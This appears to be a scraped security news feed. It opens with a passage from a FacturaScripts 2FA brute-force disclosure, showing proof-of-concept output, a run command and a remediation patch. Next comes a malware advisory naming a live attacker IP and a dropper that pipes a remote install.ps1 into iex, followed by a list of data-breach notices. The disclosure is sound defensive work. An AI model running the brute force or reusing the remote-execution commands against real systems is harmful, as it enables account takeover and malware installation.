{elapsed:.1f}s, no hit") return 1 if __name__ == "__main__": sys.exit(main()) ``` Observed result against the same install (victim user has 2FA enabled, attacker knows only the nick `victim`): ``` [*] target=http://localhost:9999 nick=victim threads=32 [ 2.2s] attempts= 1094 rps= 493 [ 24.4s] attempts= 11535 rps= 473 [ 50.0s] attempts= 23420 rps= 468 [100.7s] attempts= 41247 rps= 410 [144.9s] attempts= 55418 rps= 383 [+] FOUND code=055473 after 55,773 attempts in 146.0s [+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN ``` A second run terminated in 24.6 s after 11 569 attempts. Both runs used a single source IP with no proxy rotation, no HTTP/2, no parallel hosts. ## Impact For each 2FA-enabled user (including admins): - **Confidentiality**: full read access to anything the victim can see — invoices, customer data, suppliers, accounting ledgers, attached files, user PII, API keys, plugin configuration. - **Integrity**: full write access — create/modify/delete records, change permissions, issue new API keys, upload plugins, install code (admin). - **Availability**: targeted account lockout DoS — generating six failed 2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident counter past `MAX_INCIDENT_COUNT = 6`, blocking the legitimate user from `loginAction` for 10 minutes. Repeatable indefinitely. The vulnerability defeats the entire purpose of 2FA in FacturaScripts: enabling 2FA on an account today is strictly *weaker* than not enabling it, because it adds an unauthenticated, brute-forceable login path that wasn't present before. ## Remediation Four independent fixes are required; each closes a distinct gap and any one alone is insufficient. 1. **Require evidence the user just completed the password step.** In `loginAction`, after `verifyPassword` succeeds and 2FA is required, write a short-lived nonce keyed by `(client_ip, user_nick)` to the shared cache (e.g. `Cache::set("2fa-pending-{ip}-{nick}", $nonce, ttl=300)`). `twoFactorValidationAction` must read, validate, and delete that nonce before calling `verifyTwoFactorCode`. Without the nonce, return immediately. 2. **Call `validateFormToken($request)` at the top of `twoFactorValidationAction`.** Every other action handler in the controller does this; the 2FA handler should too. Eliminates drive-by CSRF submissions. 3. **Call `userHasManyIncidents(Session::getClientIp(), $userName)` before doing any work in `twoFactorValidationAction`**, and bail out if the threshold is exceeded. This is the missing rate-limit pre-check. 4. **Reduce `TwoFactorManager::VERIFICATION_WINDOW` from 8 to 1.** The google2fa default is 1 (±30 s). A window of 8 multiplies the brute-force success rate by 17× for no legitimate reason — TOTP apps and the server clock are typically synchronised within a single 30-second step. Suggested patch (illustrative): ```php // Core/Controller/Login.php protected function twoFactorValidationAction(Request $request): void { if (false === $this->validateFormToken($request)) { // fix 2 return; } $userName = $request->input('fsNick'); if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) { // fix 3 Tools::log()->warning('ip-banned'); return; } $nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName; if (false === Cache::get($nonceKey)) { // fix 1 Tools::log()->warning('two-factor-no-pending-login'); $this->saveIncident(Session::getClientIp(), $userName); return; } Cache::delete($nonceKey); $user = new User(); if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) { Tools::log()->warning('two-factor-code-invalid'); $this->saveIncident(Session::getClientIp(), $userName); return; } $this->updateUserAndRedirect($user, Session::getClientIp(), $request); } // Core/Lib/TwoFactorManager.php private const VERIFICATION_WINDOW = 1; // fix 4 — was 8 ``` `loginAction` then needs the matching nonce write where it currently sets `$this->two_factor_user`: ```php if ($user->two_factor_enabled) { Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick, bin2hex(random_bytes(16)), 300); $this->two_factor_user = $user->nick; $this->template = 'Login/TwoFactor.html.twig'; return; } ``` ## Reproduction Tested on a clean install built from `master` at commit `7392b489b`: ```bash # brute force (only nick known) — secret on the server can be anything NICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py ``` | ||
| Risiko ? / 10 MAL-2026-10133 | vor 2 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (936d3c8bc6611b58f5321ba5aab651bb3d2db821d172816283ca04633be00863) The `stella` CLI shipped in bin/stella.js prompts users for their phone number and the WhatsApp verification code and POSTs both to a hardcoded bare-IP plain-HTTP endpoint at http://62.238.2.22:8787 (paths /api/v1/auth/register/register and /verify). Subsequent chat input is sent to the same host. There is no disclosure that authentication credentials leave the user's machine to an anonymous IPv4 address unrelated to the advertised homepage stella-ai.app. In addition, bin/postinstall.js and install.bat implement a dropper flow that downloads stella-latest.tar.gz from the same bare-IP plain-HTTP endpoint, extracts it under ~/.stella, installs the Bun runtime via `curl -fsSL https://bun.sh/install | bash`, and executes the fetched contents; the Windows bootstrap pipes http://62.238.2.22:8787/install.ps1 directly into `iex`. The download URL is mutable, unpinned, unverified, and served over cleartext from an anonymous IPv4 address, so whatever bytes the endpoint currently serves execute with the user's privileges. Package metadata reinforces the mismatch: homepage stella-ai.app, repository github.com/anomalyco/opencode, operational endpoint a raw IPv4. ## Source: ghsa-malware (042a564970d9ea4747ece2d03fa02b3acf2085e515df00bf24153eeac0c698d7) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| 18.06.2026 - Operation Endgame 4.0 | 4.160.519 Datensätze geleaked | |
| Email addresses, Passwords On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation, a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities initially provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords recovered during the operation. The following week, a further 4M email addresses and 9M passwords relating to the StealC malware operation targeted by Operation Endgame were provided to HIBP, bringing the total to almost 4.2M unique email addresses. |
||
| 15.06.2026 - Glendale Community College | 793.925 Datensätze geleaked | |
| Academic records, Dates of birth, Email addresses, Genders, Government issued IDs, Names, Phone numbers, Physical addresses In June 2026, Glendale Community College was the target of a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from Glendale was later published online and included almost 800k unique email addresses along with various other data fields, including names, addresses, phone numbers, Social Security numbers and other information relating to student enrolments. In its disclosure notice, the college advised that "the potentially impacted information may vary for each individual and may include all or just one of the above-listed types of information". |
||
| 15.06.2026 - June 2026 Stealer Logs | 56.278.397 Datensätze geleaked | |
| Email addresses, Passwords In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard. Organisations can see logs affecting their domain via the stealer logs API. |
||
| 15.06.2026 - Moody Bible Institute | 2.303.416 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Marital statuses, Names, Phone numbers, Physical addresses In June 2026, Moody Bible Institute was targeted by a ShinyHunters "pay or leak" extortion campaign. Over 2.3M unique email addresses and other personal data were later published publicly, including names, physical addresses, phone numbers, dates of birth and other information relating to donors, supporters, students and alumni. In their disclosure notice, Moody advised that they had "engaged both internal and external cybersecurity experts to thoroughly investigate the matter". |
||
| 15.06.2026 - Sysco | 2.691.852 Datensätze geleaked | |
| Customer feedback, Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Usernames In June 2026, the food distribution company Sysco was targeted by a ShinyHunters "pay or leak" extortion campaign. Data was subsequently published containing 2.7M unique email addresses belonging to staff and customers. The data also contained largely corporate contact information including names, phone numbers, physical addresses, internal job titles, and customer feedback. |
||
| 12.06.2026 - American Tower | 216.601 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In June 2026, telecommunications tower infrastructure company American Tower was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data allegedly taken from the company containing more than 200k unique email addresses belonging to employees, contractors, customers, and leads. Exposed data also included names, addresses, and phone numbers. |
||
| 12.06.2026 - JCPenney | 368.418 Datensätze geleaked | |
| Dates of birth, Email addresses, Government issued IDs, Job titles, Names, Phone numbers, Physical addresses, Usernames In June 2026, retailer JCPenney and associated brands were targeted in a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from JCPenney through the exploitation of a critical zero-day vulnerability in Oracle PeopleSoft was later published publicly. The exposed records indicated they primarily related to internal HR systems and impacted current and former employees. The data included 368k corporate and personal email addresses, names, dates of birth, Social Security numbers, phone numbers and home addresses. |
||
| 11.06.2026 - Ralph Lauren | 139.903 Datensätze geleaked | |
| Age groups, Email addresses, Genders, Names, Phone numbers In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups. |
||
| 09.06.2026 - University of Nottingham | 454.635 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames In June 2026, the University of Nottingham was the target of a cyber attack, later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident, the university advised that the breach affected both "current students, and alumni". |
||
| 05.06.2026 - Madison Square Garden Sports | 9.796.738 Datensätze geleaked | |
| Customer service records, Email addresses, Names, Phone numbers, Physical addresses In June 2026, the sports and entertainment company Madison Square Garden Sports was the target of a ShinyHunters "pay or leak" extortion campaign. The group later published the alleged data, which included almost 10M unique email addresses spanning staff and customers, along with extensive personal, employment and customer relationship information. |
||
| 30.05.2026 - Atlas Menu | 63.926 Datensätze geleaked | |
| Email addresses, IP addresses, Passwords, Support tickets, Usernames In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes. |
||
| 29.05.2026 - BCD Travel | 396.313 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets. |
||
| 23.05.2026 - Baker Distributing | 102.935 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity. |
||
| 23.05.2026 - Charter | 4.851.517 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated. |
||
| 23.05.2026 - DentaQuest | 2.553.599 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat. |
||
| 05.05.2026 - Cushman & Wakefield | 310.431 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers. |
||
| 30.04.2026 - Reborn Gaming | 126 Datensätze geleaked | |
| Email addresses, IP addresses In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned. |
||
| 28.04.2026 - Vimeo | 119.167 Datensätze geleaked | |
| Email addresses, Names In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information". |
||
| 26.04.2026 - CTT | 468.124 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel. |
||
| 24.04.2026 - Udemy | 1.401.259 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer. |
||
| 20.04.2026 - ADT | 5.488.888 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people. |
||
| 20.04.2026 - Aman | 215.563 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes. |
||
| 20.04.2026 - Canada Life | 237.810 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data. |
||
| 20.04.2026 - Pitney Bowes | 8.243.989 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles. |
||
| 18.04.2026 - Carnival | 7.531.359 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity. |
||
| 15.04.2026 - Kemper | 269.299 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement. |
||
| 15.04.2026 - Zara | 197.376 Datensätze geleaked | |
| Email addresses, Geographic locations, Purchases, Support tickets In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information. |
||
| 14.04.2026 - Abrigo | 711.099 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers". |
||
| 12.04.2026 - Marcus & Millichap | 1.837.078 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information". |
||
| 12.04.2026 - Mytheresa | 84.108 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date. |
||
| 10.04.2026 - McGraw Hill | 13.500.136 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records. |
||
| 08.04.2026 - 7-Eleven | 185.256 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Phone numbers, Physical addresses In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data. |
||
| 07.04.2026 - My Lovely AI | 106.271 Datensätze geleaked | |
| Email addresses, Social media profiles In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames. |
||
| 06.04.2026 - LegionProxy | 10.144 Datensätze geleaked | |
| Email addresses, Names, Passwords, Purchases In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases. |
||
| 03.04.2026 - Amtrak | 2.147.679 Datensätze geleaked | |
| Email addresses, Names, Physical addresses, Support tickets In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records. |
||
| 02.04.2026 - SongTrivia2 | 291.739 Datensätze geleaked | |
| Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars. |
||
| 31.03.2026 - Hallmark | 1.736.520 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets. |
||
| 27.03.2026 - ZenBusiness | 5.118.184 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In March 2026, the hacker and extortion group "ShinyHunters" claimed to have obtained a substantial corpus of data from ZenBusiness, a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file. |
||
| 26.03.2026 - BreachForums Version 5 | 339.778 Datensätze geleaked | |
| Email addresses, Passwords, Usernames In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as "Version 5" was publicly disclosed. The incident exposed 340k unique email addresses along with usernames and argon2 password hashes. |
||
| 25.03.2026 - Addi | 34.532.941 Datensätze geleaked | |
| Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that "it is possible that your personal information may have been compromised". The "pay or leak" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points. |
||